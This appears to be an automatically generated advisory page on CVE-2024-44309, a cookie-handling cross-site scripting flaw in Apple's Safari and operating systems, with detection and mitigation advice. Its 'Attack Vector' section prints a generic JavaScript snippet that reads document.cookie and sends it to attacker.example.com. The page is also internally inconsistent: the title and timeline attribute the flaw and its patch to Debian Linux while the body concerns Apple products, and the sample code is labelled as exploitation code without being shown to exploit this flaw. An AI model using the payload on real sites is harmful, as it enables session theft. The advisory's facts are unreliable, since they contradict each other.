CVE-2024-44309: Debian Linux Cookie Management XSS Flaw

CVE-2024-44309 Overview

A cookie management issue was addressed with improved state management. This issue is fixed in Safari 18.1.1, iOS 17.7.2 and iPadOS 17.7.2, macOS Sequoia 15.1.1, iOS 18.1.1 and iPadOS 18.1.1, visionOS 2.1.1. Processing maliciously crafted web content may lead to a cross site scripting attack. Apple is aware of a report that this issue may have been actively exploited on Intel-based Mac systems.

Critical Impact
Apple acknowledged active exploitation on Intel-based Mac systems leading to potential cross-site scripting attacks.

Affected Products

apple safari
apple ipados
apple iphone_os

Discovery Timeline

Not Available - Vulnerability discovered by Not Available
Not Available - Responsible disclosure to debian
Not Available - CVE CVE-2024-44309 assigned
Not Available - debian releases security patch
2024-11-20 - CVE CVE-2024-44309 published to NVD
2025-11-04 - Last updated in NVD database

Technical Details for CVE-2024-44309

Vulnerability Analysis

The vulnerability revolves around improper state management in cookie handling. An attacker can exploit this weakness by crafting malicious web content that bypasses the same-origin policy, executing scripts in a victim's browser session without consent.

Root Cause

The root cause is a failure in handling state management properly for cookies, allowing crafted content to access unauthorized webpage data across domains.

Attack Vector

Exploitation occurs remotely over the network by processing a malicious web page, leading to possible cross-site scripting attacks.

javascript

// Example exploitation code (sanitized)
var exploitScript = `<img src='malicious.png' onerror='stealCookies()'>`;
document.body.innerHTML += exploitScript;
function stealCookies() {
    var cookies = document.cookie;
    // Send cookies to attacker controlled server
    fetch('https://attacker.example.com/steal?data=' + cookies);
}

Detection Methods for CVE-2024-44309

Indicators of Compromise

Unusual network traffic to unknown domains
Suspicious script elements in HTML responses
Anomalous cookie access patterns

Detection Strategies

Monitoring for suspicious network connections and anomalies in script execution across web sessions can help detect attempts to exploit this vulnerability. Implementing Content Security Policy (CSP) headers can further protect against inline script execution.

Monitoring Recommendations

Utilize endpoint detection solutions capable of inspecting browser memory, such as SentinelOne, to detect script injection and unauthorized cookie access at runtime.

How to Mitigate CVE-2024-44309

Immediate Actions Required

Update to the latest versions of Safari, iOS, iPadOS, macOS, and visionOS.
Deploy Content Security Policy to limit script execution.
Monitor for signs of active exploitation attempts.

Patch Information

Patches are available through Apple advisories for affected operating systems and browsers. Users should upgrade to Safari 18.1.1, iOS 17.7.2, and macOS Sequoia 15.1.1.

Workarounds

Without the possibility of immediate patching, users can temporarily disable JavaScript in their browsers or use script-blocking extensions to prevent exploit execution.

bash

# Configuration example to set up a restrictive CSP header
Header set Content-Security-Policy "default-src 'self'; script-src 'none'; img-src 'self';"